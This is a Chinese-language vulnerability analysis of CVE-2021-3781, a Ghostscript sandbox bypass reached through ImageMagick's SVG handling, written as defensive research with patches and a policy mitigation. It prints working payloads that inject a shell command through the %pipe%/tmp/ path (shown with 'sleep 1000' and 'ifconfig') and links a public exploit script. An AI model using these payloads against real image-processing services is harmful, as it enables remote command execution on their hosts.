Ghostscript沙箱繞過(CVE-2021-3781)分析
0x00 前言
Ghostscript是一款Adobe PostScript語言和PDF的解釋器軟件,被諸多著名應用(如ImageMagick)所使用。
- 9月5日,海外安全研究員在Twitter公開Ghostscript的安全模式繞過0day,并給出ImagMgick的利用代碼,該漏洞可以造成任意命令執行,影響諸多下游應用,當天TSRC緊急對該漏洞進行復現與分析。
- 9月9日,Ghostscript官方發布補丁代碼,但是并沒有發布編譯程序。
- 9月27日,Ghostscript官方發布修復后的新版本編譯程序。
可以說這個0day是影響了相當一段時間,這個漏洞的利用也比較曲折,值得深入研究思考。這篇文章將完整分析從ImageMagick到Ghostscript的攻擊利用鏈。
0x01 環境搭建及復現
1. 影響范圍
https://github.com/ImageMagick/ImageMagick
ImageMagick <= 7.0.11-10
https://github.com/ArtifexSoftware/ghostpdl-downloads/releases
Ghostscript <= 9.54.0
2. 漏洞環境搭建
可以在ubuntu 20的環境下快速復現
apt-get install imagemagick git clone https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50.git python IM-RCE-via-GhostScript-9.5.py "sleep 1000" 1.jpg convert 1.jpg 1.pdf
通過pstree查看進程樹,可以看到是GhostScript執行了sleep命令,由此可以確認分析路徑。
- ImageMagick是如何生成參數文件,并且傳遞給GhostScript解析?
- GhostScript的沙箱是如何被繞過的?
0x02 ImageMagick
1. 分析ImageMagick
這里打算進行源碼debug,所以我們從github上下載ImageMagick源碼,編譯debug版本,進行調試。后面附了整個棧信息,想快速分析的可以直接看棧信息就好了。
一開始看給的poc是生成jpg,以為是jpg文件處理出問題了,其實不然。ImageMagick會自動識別文件類型,通過GetImageDecoder函數獲取相對應的文件decoder,這里獲取到的decoder是ReadSVGImage,所以雖然將文件名命名為1.jpg,但是ImageMagick還是將文件為svg文件進行處理。
/tmp/ImageMagick-7.0.11-6/MagickCore/constitute.c
decoder=GetImageDecoder(magick_info)

ReadSVGImage函數是如何處理payload中重要的desc、image兩個標簽?
在ImageMagick/coders/svg.c中搜索到關鍵詞"desc",來到如下圖的位置。

在處理desc標簽的時候,會里面內容加一個#,并且寫入到/proc/self/fd/3中(當然這里的fd不一定是3,會根據進程里面打開的文件數量而變化)。
<desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit desc>
將上面解析為如下內容,并且添加到/proc/self/fd/3
#copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit
同樣搜索"image"關鍵詞,來到如下圖的位置。
/tmp/im/ImageMagick-7.0.11-6/coders/svg.c

<image href="epi:/proc/self/fd/3" />
將上面解析為如下內容,并且追加到/proc/self/fd/3
image Over 0,0 0,0 "epi:/proc/self/fd/3"
等把所有svg標簽轉化成mvg文件的原語了,就接著使用DrawPrimitive函數處理mvg內容,處理的內容如下:
#copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit \npush graphic-context\nimage Over 0,0 0,0 \"epi:/proc/self/fd/3\"\npop graphic-context\npush graphic-context\ncompliance \"SVG\"\nfill \"black\"\nfill-opacity 1\nstroke \"none\"\nstroke-width 1\nstroke-opacity 1\nfill-rule nonzero\nviewbox 0 0 1 1\naffine 1 0 0 1 0 0\npop graphic-context\n
/tmp/im/ImageMagick-7.0.11-6/MagickCore/draw.c RenderMVGContent

其中比較關鍵的是,在處理到image Over 0,0 0,0 "epi:/proc/self/fd/3"中的image關鍵詞的時候,會認定為是Image,所以接著使用ReadImage函數解析epi:/proc/self/fd/3路徑。

這里根據epi協議頭,把/proc/self/fd/3當成psi文件處理。

并且ReadPSImage函數會將/proc/self/fd/3的文件連接到input_filename,后面會作為Ghostscript的文件參數。
status=AcquireUniqueSymbolicLink(image_info->filename,input_filename);



最后會被GhostScript以-f 文件名形式調用。
/tmp/im/ImageMagick-7.0.11-6/MagickCore/delegate.c

到這里,問題很明顯了,ImageMagick會把SVG部分內容當成PS腳本內容,給Ghostscript調用。
在Ghostscript的解析過程,只要保證惡意代碼前面部分是沒有語法錯誤的,惡意代碼后面的部分就不需要管了,就能夠成功解析惡意代碼部分。比如下面PS文件內容,Ghostscript是可以正常執行第一行的。
#copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quitasdasdas xxxxxxx
而ImageMagick巧合會把"desc"里面的內容作為PS腳本的第一行(僅僅加了#這個臟字符,可以進行繞過)。
最后調用Ghostscript的棧信息。
libc.so.6!__libc_fork() (\build\glibc-eX1tMB\glibc-2.31\sysdeps\nptl\fork.c:49)libMagickCore-7.Q16HDRI.so.9!ExternalDelegateCommand(const MagickBooleanType asynchronous, const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\delegate.c:446)libMagickCore-7.Q16HDRI.so.9!InvokeGhostscriptDelegate(const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ghostscript-private.h:198)libMagickCore-7.Q16HDRI.so.9!ReadPSImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ps.c:776)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!DrawPrimitive(Image * image, const DrawInfo * draw_info, const PrimitiveInfo * primitive_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:5549)libMagickCore-7.Q16HDRI.so.9!RenderMVGContent(Image * image, const DrawInfo * draw_info, const size_t depth, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4433)libMagickCore-7.Q16HDRI.so.9!DrawImage(Image * image, const DrawInfo * draw_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4474)libMagickCore-7.Q16HDRI.so.9!ReadMVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\mvg.c:239)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadSVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\svg.c:3678)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadImages(ImageInfo * image_info, const char * filename, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:955)libMagickWand-7.Q16HDRI.so.9!ConvertImageCommand(ImageInfo * image_info, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\convert.c:611)libMagickWand-7.Q16HDRI.so.9!MagickCommandGenesis(ImageInfo * image_info, MagickCommand command, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\mogrify.c:191)MagickMain(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:149)main(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:180)
2. ImageMagick怎么修復?
那么高版本的ImageMagick是如何修復?這里拿7.0.11-6版本進行調試,是沒辦法執行惡意命令的。

于是對比上面執行命令成功的調用棧,從棧最深層開始排查,定位哪個關鍵函數出問題。后面發現是在DrawPrimitive。
可以看到路徑為epi:/proc/self/fd/3,這個路徑在后續的檢測函數IsPathAccessible是過不了的。
ImageMagick-7.1.0-8/MagickCore/draw.c

最后通過stat函數檢測路徑是否可以訪問,如果不可以訪問就不進入ReadImage函數了。

而有漏洞的版本僅僅檢測clone_info->filename不為空。

0x03 Ghostscript
1. 分析Ghostscript
Ghostscript我們這里重點關注安全模式下是如何繞過管道命令%pipe%cmd沙箱的?
成功利用的堆棧信息如下:
libc.so.6!_IO_new_popen(const char * command, const char * mode) (\build\glibc-eX1tMB\glibc-2.31\libio\iopopen.c:221)fs_file_open_pipe(const gs_memory_t * mem, void * secret, const char * fname, char * rfname, const char * mode, gp_file ** file) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:55)pipe_fopen(gx_io_device * iodev, const char * fname, const char * access, gp_file ** pfile, char * rfname, uint rnamelen, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:91)file_open_stream(const char * fname, uint len, const char * file_access, uint buffer_size, stream ** ps, gx_io_device * iodev, iodev_proc_fopen_t fopen_proc, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\sfxcommon.c:94)iodev_os_open_file(gx_io_device * iodev, const char * fname, uint len, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1080)zopen_file(i_ctx_t * i_ctx_p, const gs_parsed_file_name_t * pfn, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1068)zfile(i_ctx_t * i_ctx_p) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:281)interp(i_ctx_t ** pi_ctx_p, const ref * pref, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:1457)gs_call_interp(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:520)gs_interpret(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:477)gs_main_interpret(gs_main_instance * minst, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:257)gs_main_run_string_end(gs_main_instance * minst, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:945)gs_main_run_string_with_length(gs_main_instance * minst, const char * str, uint length, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:889)gs_main_run_string(gs_main_instance * minst, const char * str, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:870)run_string(gs_main_instance * minst, const char * str, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1166)runarg(gs_main_instance * minst, const char * pre, const char * arg, const char * post, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1125)argproc(gs_main_instance * minst, const char * arg) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1047)gs_main_init_with_args01(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:242)gs_main_init_with_args(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:289)psapi_init_with_args(gs_lib_ctx_t * ctx, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\psapi.c:280)gsapi_init_with_args(void * instance, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\iapi.c:239)main(int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\gs.c:95)
從上面的堆棧,找到Ghostscript代碼領域的函數pipe_fopen,函數中如果要成功調用open_pipe函數,會經過的gp_validate_path函數校驗,來判斷打開的路徑是否合法。
ghostscript-9.54.0/base/gdevpipe.c

我們來看下gp_validate_path是怎么檢測的?這里主要判斷目錄開頭是否為白名單里面的路徑,而白名單里面有/tmp/*,并且使用popen執行,所以可以使用分號、換行、&等符號拼接執行多個命令。也就是為什么poc里面要加/tmp/的原因。

2. PostScript是什么
Ghostscript是PostScript的解釋器,用于解析執行PostScript。PostScript跟我們平時接觸表示法不一樣,是逆波蘭式。
操作數在前,操作符在后。就是把2 + 3這種中序表達式變成為2 3 add這種后續表達式。想了解PostScript可以翻閱文檔:
https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/psrefman.pdf
回到分析中,ImageMagick會在寫入的內容前面加一個#號,通過翻閱文檔可以找到#copies語法,從而將#臟字符合理化 。
#copies 3 def(%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit
3. 顯示執行結果
為了更加直觀的查看debug執行情況,我們可以使用如下payload進行回顯觀察執行命令結果。
#copies 3 defmark/OutputFile (%pipe%/tmp/;ifconfig)(pdfwrite)finddeviceputdevicepropssetdevicequit

4. 如何修復
修復比較簡單了,直接把%pipe%拼接進行,變成%pipe%/tmp/;ifconfig,這樣路徑不匹配白名單,gp_validate_path驗證也就無法通過了。

在這個利用鏈中,如果單單修復GhostScript的話,還是有一定DoS的風險,因為Ghostscript沒有對資源做限制,可以進行DoS攻擊。
執行一次即可跑滿一個cpu核心,多執行幾次最終可以把所有cpu跑滿,在一定的場景是有風險的(比如文章ImageMagick使用場景),不過官方不認為是安全漏洞。
<desc>Payload打碼</desc>
所以在調用Ghostscript的時候,即使開了安全模式,也并不怎么安全,還是需要嚴格控制PS腳本內容(安全模式也曾被多次繞過)。
同時建議禁用不需要的coder,比如這次就可以把SVG禁用掉。
/usr/local/etc/ImageMagick-7/policy.xml
<policymap> <policy domain="coder" rights="none" pattern="SVG" />policymap>
0x04 參考
1. CVE-2021-3781 Commit
https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a9bd3dec9fde
2. Ghostscript SAFER Sandbox Breakout (CVE-2020-15900)
https://insomniasec.com/blog/ghostscript-cve-2020-15900
3. 關于Ghostscript SAFER沙箱繞過漏洞的分析
https://www.freebuf.com/vuls/182095.html
4. Ghostscript 文檔
https://www.ghostscript.com/doc/9.55.0/Use.htm